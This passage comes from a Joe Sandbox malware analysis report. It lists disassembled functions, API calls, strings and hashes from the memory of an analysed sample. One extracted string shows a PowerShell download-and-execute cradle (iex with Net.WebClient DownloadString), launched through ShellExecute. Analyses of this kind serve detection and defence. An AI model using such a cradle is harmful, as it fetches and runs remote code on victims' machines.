Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: 0b2afd006df1a6f6d0c5542f986fd748d9f12e43f8d1932f639c69bde0d8e627
Instruction ID: b38d19eb2449044e2568ff906e409a1a01f2b72cd8eb47ae492ed0fd0d31f0ba
Opcode Fuzzy Hash: 0b2afd006df1a6f6d0c5542f986fd748d9f12e43f8d1932f639c69bde0d8e627
Instruction Fuzzy Hash: A241AC718102189AEB18FBA4CC91BDDBB74FF14700F40416AE116E61D2DF786A4ACFA2

Function 6CAF74A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6CAF7526
__Init_thread_footer.LIBCMT ref: 6CAF7566
__Init_thread_footer.LIBCMT ref: 6CAF7597

Strings

kernel32.dll, xrefs: 6CAF7557
UnmapViewOfFile2, xrefs: 6CAF7552

Memory Dump Source

Source File: 00000000.00000002.2390731613.000000006CA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2390714127.000000006CA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390784894.000000006CB0D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390805501.000000006CB1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390823204.000000006CB22000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 8fd9710da92c040800cd227b0b7ce8888b352d8205fa7835330c60d9d65b837e
Instruction ID: 5e0b01372babf8b83f4fad3bb2b0edfba763e7561cfa6d83a9d2a83324d32141
Opcode Fuzzy Hash: 8fd9710da92c040800cd227b0b7ce8888b352d8205fa7835330c60d9d65b837e
Instruction Fuzzy Hash: 9F213435704541ABCB15CFE8C915EAA33B6EB56335B04052DF815C7F40CB30AC87CA96

Function 6CAFC410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CAFC0E9), ref: 6CAFC418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6CAFC437
FreeLibrary.KERNEL32(?,6CAFC0E9), ref: 6CAFC44C

Strings

ntdll.dll, xrefs: 6CAFC413
NtQueryVirtualMemory, xrefs: 6CAFC431

Memory Dump Source

Source File: 00000000.00000002.2390731613.000000006CA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2390714127.000000006CA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390784894.000000006CB0D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390805501.000000006CB1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390823204.000000006CB22000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 6b404481a8e04cd07341989c8da68f5e9705c8d0f5da0f7eedac7fd21e609834
Instruction ID: 3c1e81ae5f1a0a3740809ec5bd206f5f65b8e3d0efbd2d16bdcc4679b53fc4b5
Opcode Fuzzy Hash: 6b404481a8e04cd07341989c8da68f5e9705c8d0f5da0f7eedac7fd21e609834
Instruction Fuzzy Hash: 31E092BA605301DBDF00AB76C90A7117BF8A70621AF044A1AAA0893F10EBB0C012CA50

Function 6CAF75B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CAF748B,?), ref: 6CAF75B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6CAF75D7
FreeLibrary.KERNEL32(?,6CAF748B,?), ref: 6CAF75EC

Strings

RtlNtStatusToDosError, xrefs: 6CAF75D1
ntdll.dll, xrefs: 6CAF75B3

Memory Dump Source

Source File: 00000000.00000002.2390731613.000000006CA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2390714127.000000006CA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390784894.000000006CB0D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390805501.000000006CB1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390823204.000000006CB22000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 3bc6fa510c1e2b42c0926a15938ac1e0fd235a84adf3282d09f8c4014a37d122
Instruction ID: e391cd3d4b23f6bf1145207ffea807d6f07ec25210d7800d3110169868ad18c6
Opcode Fuzzy Hash: 3bc6fa510c1e2b42c0926a15938ac1e0fd235a84adf3282d09f8c4014a37d122
Instruction Fuzzy Hash: DFE0B6B6744341ABEF01AFA2D84A7017BF8EB16328F104429F905D3F10EBB48252CF10

Function 00879E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 00879F41

Part of subcall function 0088A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0088A7E6

Part of subcall function 0088A740: lstrcpy.KERNEL32(00890E17,00000000), ref: 0088A788

Strings

@, xrefs: 00879EF1
v10, xrefs: 00879EA3
v20, xrefs: 00879E21
ERROR_RUN_EXTRACTOR, xrefs: 00879E67

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: a02493c00978b30996ec6c8df680cb82bb07ad978bc7511c6c369833d40e574a
Instruction ID: d18cc318ad0829c3093122e7365357f6410b064a4df151271d56a61c5ab88e61
Opcode Fuzzy Hash: a02493c00978b30996ec6c8df680cb82bb07ad978bc7511c6c369833d40e574a
Instruction Fuzzy Hash: 88612C71A00248DBDF18EFA8CC96BED7775FF54304F008518F90A9B695EB74AA05CB92

Function 6CA94DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CA94E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CA94E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA94EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CA94F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6CA94F1E

Memory Dump Source

Source File: 00000000.00000002.2390731613.000000006CA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2390714127.000000006CA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390784894.000000006CB0D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390805501.000000006CB1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390823204.000000006CB22000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 9b6333af8500a8b157805187d9d902817bf311abe65bd0f4e3b1d29ad4153fa3
Instruction ID: 02c13cc8b465067e0d45fd3f8fe50ff4ebc7ac482e6e18c8514b2e318f2eb096
Opcode Fuzzy Hash: 9b6333af8500a8b157805187d9d902817bf311abe65bd0f4e3b1d29ad4153fa3
Instruction Fuzzy Hash: EB41D0716187069FC705CF29C48199BBBF4BF89344F148A2DF56687B41DB30E998CB92

Function 6CAA1530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6CAA152B,?,?,?,?,6CAA1248,?), ref: 6CAA159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6CAA152B,?,?,?,?,6CAA1248,?), ref: 6CAA15BC
moz_xmalloc.MOZGLUE(-00000001,?,6CAA152B,?,?,?,?,6CAA1248,?), ref: 6CAA15E7
free.MOZGLUE(?,?,?,?,?,?,6CAA152B,?,?,?,?,6CAA1248,?), ref: 6CAA1606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6CAA152B,?,?,?,?,6CAA1248,?), ref: 6CAA1637

Memory Dump Source

Source File: 00000000.00000002.2390731613.000000006CA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2390714127.000000006CA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390784894.000000006CB0D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390805501.000000006CB1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390823204.000000006CB22000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 4aefa55d05cc342d3adf6a1df4f14cbae5ead64ae2dc8bb7ba1ccd3322cc9352
Instruction ID: c05d03eb4e4ddda8dbf7163cf93e51c3298795e77c9e861f1c36892f7079ed14
Opcode Fuzzy Hash: 4aefa55d05cc342d3adf6a1df4f14cbae5ead64ae2dc8bb7ba1ccd3322cc9352
Instruction Fuzzy Hash: 7E313A71A00115DBC7188EBCC9404BE73E9BF813647280B2DE523DBBE4EB30D9468791

Function 6CA9B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6CA9B532
moz_xmalloc.MOZGLUE(?), ref: 6CA9B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CA9B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6CA9B57E
free.MOZGLUE(00000000), ref: 6CA9B58F

Memory Dump Source

Source File: 00000000.00000002.2390731613.000000006CA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2390714127.000000006CA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390784894.000000006CB0D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390805501.000000006CB1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390823204.000000006CB22000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 3d6766991e082113f861fca1bfde96fc560a34422c03ef0ab5572412c64ed833
Instruction ID: ce8739393ad277c34556e5a0dbca4867005017891821912aa770d848564f2961
Opcode Fuzzy Hash: 3d6766991e082113f861fca1bfde96fc560a34422c03ef0ab5572412c64ed833
Instruction Fuzzy Hash: 7C21F671A002059BDB108F68DC41BAABBFAFF45314F284129E819DB341E736D955C7A1

Function 00886920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 0088696C
sscanf.NTDLL ref: 00886999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 008869B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 008869C0
ExitProcess.KERNEL32 ref: 008869DA

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: 40f052a415a1f2ccc53a22da4cd826610aca83735ea9425512fa97335cc4034a
Instruction ID: a90ee7860f08452e8a4e54e23da890263b87d6f33cdaa6c91b5cb94f8e931a02
Opcode Fuzzy Hash: 40f052a415a1f2ccc53a22da4cd826610aca83735ea9425512fa97335cc4034a
Instruction Fuzzy Hash: A021DC75D14208ABCF08EFE8D9459EEB7B5FF58300F04856EE406E3251EB345615CBA5

Function 00889260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(010FE1B0,?,?,?,0088140C,?,010FE1B0,00000000), ref: 0088926C
lstrcpyn.KERNEL32(00ABAB88,010FE1B0,010FE1B0,?,0088140C,?,010FE1B0), ref: 00889290
lstrlen.KERNEL32(?,?,0088140C,?,010FE1B0), ref: 008892A7
wsprintfA.USER32 ref: 008892C7

Strings

%s%s, xrefs: 008892B5

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: f7a958e709a273b8eb8d9ccbafd7529b6121c4fa65df8eab07aec23776816cb8
Instruction ID: 1bf1f2b5707d121c71444e8a099a66b9f91e8ad2bb416d532833d15c6c44f9a1
Opcode Fuzzy Hash: f7a958e709a273b8eb8d9ccbafd7529b6121c4fa65df8eab07aec23776816cb8
Instruction Fuzzy Hash: 76011A75600108FFCB04DFECC998EAE7BB9FB58354F148648F9199B216CA31AE41DB91

Function 6CABD468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6CACCBE8: GetCurrentProcess.KERNEL32(?,6CA931A7), ref: 6CACCBF1
Part of subcall function 6CACCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA931A7), ref: 6CACCBFA

EnterCriticalSection.KERNEL32(6CB1E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CACD1C5), ref: 6CABD4F2
LeaveCriticalSection.KERNEL32(6CB1E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CACD1C5), ref: 6CABD50B

Part of subcall function 6CA9CFE0: EnterCriticalSection.KERNEL32(6CB1E784), ref: 6CA9CFF6
Part of subcall function 6CA9CFE0: LeaveCriticalSection.KERNEL32(6CB1E784), ref: 6CA9D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CACD1C5), ref: 6CABD52E
EnterCriticalSection.KERNEL32(6CB1E7DC), ref: 6CABD690
LeaveCriticalSection.KERNEL32(6CB1E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CACD1C5), ref: 6CABD751

Strings

MOZ_CRASH(), xrefs: 6CABD4BB

Memory Dump Source

Source File: 00000000.00000002.2390731613.000000006CA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2390714127.000000006CA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390784894.000000006CB0D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390805501.000000006CB1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390823204.000000006CB22000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 544a134fa10172e55b85d4a2a210118824e3eefeff5e8bc15110826b6bb887b2
Instruction ID: d52b537bb9011014922ff24cb2964791b782a4352e7def224952911ff27df242
Opcode Fuzzy Hash: 544a134fa10172e55b85d4a2a210118824e3eefeff5e8bc15110826b6bb887b2
Instruction Fuzzy Hash: ED51F371E087418FD314CF28C19575ABBE5EB89318F144A2ED5A9D7F88D770E884CB92

Function 0088C84E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtGetStringTypeA.LIBCMT ref: 0088C8EC
___crtLCMapStringA.LIBCMT ref: 0088C90C
___crtLCMapStringA.LIBCMT ref: 0088C931

Strings

, xrefs: 0088C896

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
